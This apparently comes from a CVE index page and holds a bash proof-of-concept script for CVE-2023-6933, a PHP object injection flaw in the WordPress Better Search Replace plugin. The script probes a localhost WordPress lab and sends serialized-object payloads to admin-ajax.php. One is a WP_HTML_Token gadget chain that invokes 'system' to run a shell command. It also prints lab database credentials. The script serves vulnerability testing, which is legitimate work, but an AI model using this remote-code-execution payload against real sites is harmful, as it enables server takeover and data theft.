4837 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2023-6933. The file may not exist in the repository.
POC / manual-test.sh SH
#!/bin/bash

# CVE-2023-6933 Manual Testing Script
# Author: Trex
# Description: Comprehensive manual testing for Better Search Replace vulnerability

set -e

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# Configuration
WORDPRESS_URL="http://localhost:8080"
PHPMYADMIN_URL="http://localhost:8081"
TIMEOUT=30
VULN_FOUND=false

echo -e "${BLUE}========================================${NC}"
echo -e "${BLUE}  CVE-2023-6933 Manual Testing Script  ${NC}"
echo -e "${BLUE}========================================${NC}"
echo ""

# Function to check if URL is accessible
check_url() {
    local url=$1
    local name=$2
    echo -n "Checking $name... "
    
    local status_code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 10 "$url")
    
    if [ "$status_code" = "200" ]; then
        echo -e "${GREEN}✓ OK (HTTP $status_code)${NC}"
        return 0
    else
        echo -e "${RED}✗ FAILED (HTTP $status_code)${NC}"
        return 1
    fi
}

# Function to test endpoint with custom payload
test_endpoint() {
    local url=$1
    local payload=$2
    local description=$3
    
    echo -n "Testing $description... "
    
    local response=$(curl -s -w "%{http_code}" -X POST "$url" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -d "$payload" --max-time 10)
    
    local status_code="${response: -3}"
    local body="${response%???}"
    
    if [ "$status_code" = "200" ] || [ "$status_code" = "500" ]; then
        echo -e "${GREEN}✓ Response received (HTTP $status_code)${NC}"
        
        # Check for vulnerability indicators - proper POC approach
        if echo "$body" | grep -q "replaced successfully\|Total rows examined\|Database updated\|search_replace" && [ "$status_code" = "200" ]; then
            echo -e "   ${GREEN}✓ Payload processed successfully${NC}"
            
            # Check if our serialized object was processed (not just error-based detection)
            if echo "$payload" | grep -q "O:[0-9]"; then
                echo -e "   ${RED}🚨 VULNERABILITY CONFIRMED! CVE-2023-6933 DETECTED${NC}"
                echo -e "   ${YELLOW}PHP Object Injection successful - serialized data processed${NC}"
                VULN_FOUND=true
            fi
        elif echo "$body" | grep -q "Fatal error\|Parse error\|Notice:\|Warning:" || [ "$status_code" = "500" ]; then
            echo -e "   ${YELLOW}⚠️  Error response detected (may indicate processing)${NC}"
            if echo "$payload" | grep -q "O:[0-9]"; then
                echo -e "   ${YELLOW}Potential vulnerability - object injection caused error${NC}"
            fi
        fi
        
        if [ ${#body} -gt 0 ] && [ ${#body} -lt 200 ]; then
            echo -e "   ${YELLOW}Response: $body${NC}"
        fi
        return 0
    else
        echo -e "${RED}✗ Unexpected response (HTTP $status_code)${NC}"
        return 1
    fi
}

# Step 1: Service Health Check
echo -e "${YELLOW}=== Step 1: Service Health Check ===${NC}"
echo ""

check_url "$WORDPRESS_URL" "WordPress"
check_url "$PHPMYADMIN_URL" "phpMyAdmin"
check_url "$WORDPRESS_URL/wp-admin/" "WordPress Admin"

echo ""

# Step 2: WordPress Information Gathering
echo -e "${YELLOW}=== Step 2: WordPress Information Gathering ===${NC}"
echo ""

echo -n "WordPress version check... "
wp_version=$(curl -s "$WORDPRESS_URL" | grep -i "generator" | grep -o "WordPress [0-9.]*" | head -1)
if [ -n "$wp_version" ]; then
    echo -e "${GREEN}✓ Found: $wp_version${NC}"
else
    echo -e "${YELLOW}! Version not detected in meta tags${NC}"
fi

echo -n "Better Search Replace plugin check... "
plugin_response=$(curl -s -w "%{http_code}" "$WORDPRESS_URL/wp-content/plugins/better-search-replace/" --max-time 10)
plugin_status="${plugin_response: -3}"
if [ "$plugin_status" = "200" ] || [ "$plugin_status" = "403" ]; then
    echo -e "${GREEN}✓ Plugin directory accessible${NC}"
else
    echo -e "${YELLOW}! Plugin directory not accessible (HTTP $plugin_status)${NC}"
fi

echo -n "WordPress readme check... "
readme_response=$(curl -s "$WORDPRESS_URL/readme.html" | grep -i "version" | head -1)
if [ -n "$readme_response" ]; then
    echo -e "${GREEN}✓ Found readme.html${NC}"
else
    echo -e "${YELLOW}! readme.html not found or no version info${NC}"
fi

echo ""

# Step 3: Admin-Ajax Endpoint Testing
echo -e "${YELLOW}=== Step 3: Admin-Ajax Endpoint Testing ===${NC}"
echo ""

# Test 1: Basic admin-ajax accessibility
echo -n "Basic admin-ajax test... "
ajax_response=$(curl -s -w "%{http_code}" "$WORDPRESS_URL/wp-admin/admin-ajax.php" --max-time 10)
ajax_status="${ajax_response: -3}"
if [ "$ajax_status" = "400" ] || [ "$ajax_status" = "500" ] || [ "$ajax_status" = "200" ]; then
    echo -e "${GREEN}✓ admin-ajax.php is accessible (HTTP $ajax_status)${NC}"
else
    echo -e "${RED}✗ admin-ajax.php not accessible (HTTP $ajax_status)${NC}"
fi

# Test 2: BSR search-replace action test
test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \
    "action=bsr_search_replace&search_for=test&replace_with=replacement&dry_run=1" \
    "BSR search-replace action"

# Test 3: Basic object injection test with proper BSR parameters
test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \
    "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"injected\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1" \
    "Basic PHP Object Injection via search_for"

# Test 4: WP_HTML_Token RCE payload (WordPress 6.4.0+)
wp_html_token_payload=$(python3 -c "
import urllib.parse
cmd = 'echo nuclei_test > /tmp/bsr_test.txt'
payload = f'O:13:\"WP_HTML_Token\":4:{{s:13:\"bookmark_name\";s:{len(cmd)}:\"{cmd}\";s:9:\"node_name\";s:8:\"testnode\";s:21:\"has_self_closing_flag\";b:0;s:10:\"on_destroy\";s:6:\"system\";}}'
print(urllib.parse.quote(payload))
")
test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \
    "action=bsr_search_replace&search_for=${wp_html_token_payload}&replace_with=safe&select_tables[]=wp_posts&dry_run=1" \
    "WP_HTML_Token RCE Payload"

echo ""

# Step 4: Database Connectivity Test
echo -e "${YELLOW}=== Step 4: Database Connectivity Test ===${NC}"
echo ""

echo -n "phpMyAdmin login page... "
pma_response=$(curl -s "$PHPMYADMIN_URL" | grep -i "phpmyadmin\|login\|username")
if [ -n "$pma_response" ]; then
    echo -e "${GREEN}✓ phpMyAdmin login page accessible${NC}"
else
    echo -e "${YELLOW}! phpMyAdmin login page check inconclusive${NC}"
fi

echo ""

# Step 5: Vulnerability Confirmation Tests
echo -e "${YELLOW}=== Step 5: Vulnerability Confirmation Tests ===${NC}"
echo ""

# Test multiple BSR-specific payloads using correct action and parameters
payloads=(
    "action=bsr_search_replace&search_for=a:1:{i:0;O:8:\"stdClass\":0:{}}&replace_with=test&select_tables[]=wp_options&dry_run=1"
    "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"prop\";s:5:\"value\";}&replace_with=replacement&select_tables[]=wp_posts&dry_run=1"
    "action=bsr_search_replace&search_for=a:2:{s:4:\"test\";O:8:\"stdClass\":0:{};s:3:\"key\";s:5:\"value\";}&replace_with=safe&select_tables[]=wp_postmeta&dry_run=1"
)

payload_descriptions=(
    "Array with embedded object (wp_options)"
    "Direct object injection (wp_posts)" 
    "Complex array structure (wp_postmeta)"
)

for i in "${!payloads[@]}"; do
    test_endpoint "$WORDPRESS_URL/wp-admin/admin-ajax.php" \
        "${payloads[$i]}" \
        "${payload_descriptions[$i]}"
done

echo ""

# Step 6: Summary and Recommendations
echo -e "${YELLOW}=== Step 6: Testing Summary ===${NC}"
echo ""

if [ "$VULN_FOUND" = true ]; then
    echo -e "${RED}🚨 VULNERABILITY CONFIRMED! 🚨${NC}"
    echo -e "${RED}CVE-2023-6933: PHP Object Injection in Better Search Replace plugin${NC}"
    echo -e "${YELLOW}The lab environment successfully reproduces the vulnerability${NC}"
    echo ""
    echo -e "${GREEN}✅ Test Status: SUCCESS - Vulnerability present and exploitable${NC}"
else
    echo -e "${YELLOW}⚠️  No clear vulnerability indicators detected${NC}"
    echo -e "${YELLOW}This could mean:${NC}"
    echo "   - Plugin is patched/not vulnerable"
    echo "   - Different payload required" 
    echo "   - Environment configuration issue"
    echo ""
    echo -e "${YELLOW}⚠️  Test Status: INCONCLUSIVE - Manual review recommended${NC}"
fi

echo ""
echo -e "${BLUE}Manual testing completed!${NC}"
echo ""
echo -e "${YELLOW}Next steps:${NC}"
echo "1. Run nuclei automated test:"
echo "   nuclei -t nuclei-templates/cve-2023-6933.yaml -target $WORDPRESS_URL"
echo ""
echo "2. Access web interfaces:"
echo "   - WordPress: $WORDPRESS_URL"
echo "   - phpMyAdmin: $PHPMYADMIN_URL (root/rootpassword)"
echo ""
echo "3. Check container logs for errors:"
echo "   docker logs wordpress-dev"
echo ""
if [ "$VULN_FOUND" = true ]; then
    echo -e "${RED}🎯 IMPORTANT: This is a vulnerable environment for educational purposes only!${NC}"
    echo -e "${RED}Do not use in production environments.${NC}"
    echo ""
fi
echo -e "${GREEN}Manual testing script finished!${NC}"